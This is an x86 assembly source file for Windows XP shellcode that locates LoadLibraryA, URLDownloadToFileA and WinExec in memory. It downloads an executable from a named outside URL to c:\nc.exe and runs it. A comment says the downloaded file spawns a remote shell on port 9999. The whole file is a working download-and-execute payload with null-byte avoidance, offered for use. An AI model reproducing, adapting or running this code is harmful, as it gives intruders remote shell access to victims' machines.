; Generic WinXP Download and Execute
; [peter4020@hotmail.com]
;
; nasmw -s -fbin -o tinydown.s tinydown.asm

bits 32

start:

jmp short pastfunct

; ######################################################################################
; #                                   SCANNER() FUNCTION                               #
; ######################################################################################
;
; sub scanner(distance from function, dword dll base, dword code length, dword search string)

scanner:
pop esi				; esi = return address
pop edx				; dl = distance from function
pop edi				; edi = dll base
pop ecx				; ecx = code length
pop ebx				; ebx = search string
trawlmem:
inc edi
mov al, bl			; first byte of ebx; search string
repne scasb
jmp short checkbytes
nop
checkbytes:
dec edi
push esi 			; preserve return address
push dword [edi]
pop esi
cmp ebx, esi
pop esi
je short gotcha
jmp short trawlmem
gotcha:
sub edi, edx			; get to start of ?? function
call edi			; call ??
jmp esi				; return to code

; end sub
; ######################################################################################

pastfunct:

jmp short avoidnastynulls

; ######################################################################################
; #                                   FIND STRING OFFSETS                              #
; ######################################################################################
;

continue:
pop edi
mov esi, edi			; esi = 'urlmon.dll'
mov al, 0ffh
repne scasb
inc byte [edi-01h]
mov ebx, edi			; ebx = string of url
mov al, 0ffh
repne scasb
inc byte [edi-01h]
mov edx, edi			; edx = path of download
repne scasb
inc byte [edi-01h]
push edx

push ebx			; store our addresses for later
push edx
push esi
; ######################################################################################

jmp short pastpoint

avoidnastynulls:
jmp short data

pastpoint:

; ######################################################################################
; #                                     MAIN SHELL CODE                                #
; ######################################################################################
;

; setup function to be called (loadlibrarya)

push esi			; 'urlmon.dll'

; end setup

; setup scanner()

push dword 0c25b5effh		; unique string a know offset from loadlibrarya
push dword 0deadc0deh		; long loop to cover entire file in memory
push dword 77e60101h		; kernel32.dll base + 0101h
xor edx, edx
mov dl, 2eh			; -2eh from loadlibrarya address
push edx

; end setup

call scanner

pop esi				; get our string addresses back
pop edx
pop ebx

push edx			; edx = path of file

; setup function to be called (urldownloadtofilea)

push edx
xor ecx, ecx
push ecx
push ecx
push edx			; path of download
push ebx			; url of download
push ecx

; end setup

; setup scanner()

push dword 8d8d5602h
push dword 0badc0dedh
push eax			; eax = base of urlmon.dll
xor edx, edx
mov dl, 1bh
push edx

; end setup

call scanner

nop
nop

pop edx				; get file path back

; setup function to be called (winexec)

pop edx
xor ecx, ecx
;inc ecx
push ecx
push edx

; end setup

; setup scanner()

push dword 0c458b66h
push dword 1337f00dh
push dword 77e60101h
xor edx, edx
mov dl, 16h
push edx

; end setup

call scanner

mov ecx, 0deadc0deh
infloop:			; infinite loop; no crash when done
inc ecx
cmp ecx, 0badc0dedh
loopnz infloop			; if this slows you down too much, remove it!

int3h

; ######################################################################################


; ######################################################################################
; #                                        TEXT DATA                                   #
; ######################################################################################
;
data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh	; the file at this address 
                                             	; spawns remote shell on port 9999
db 'c:\nc.exe', 0ffh
; ######################################################################################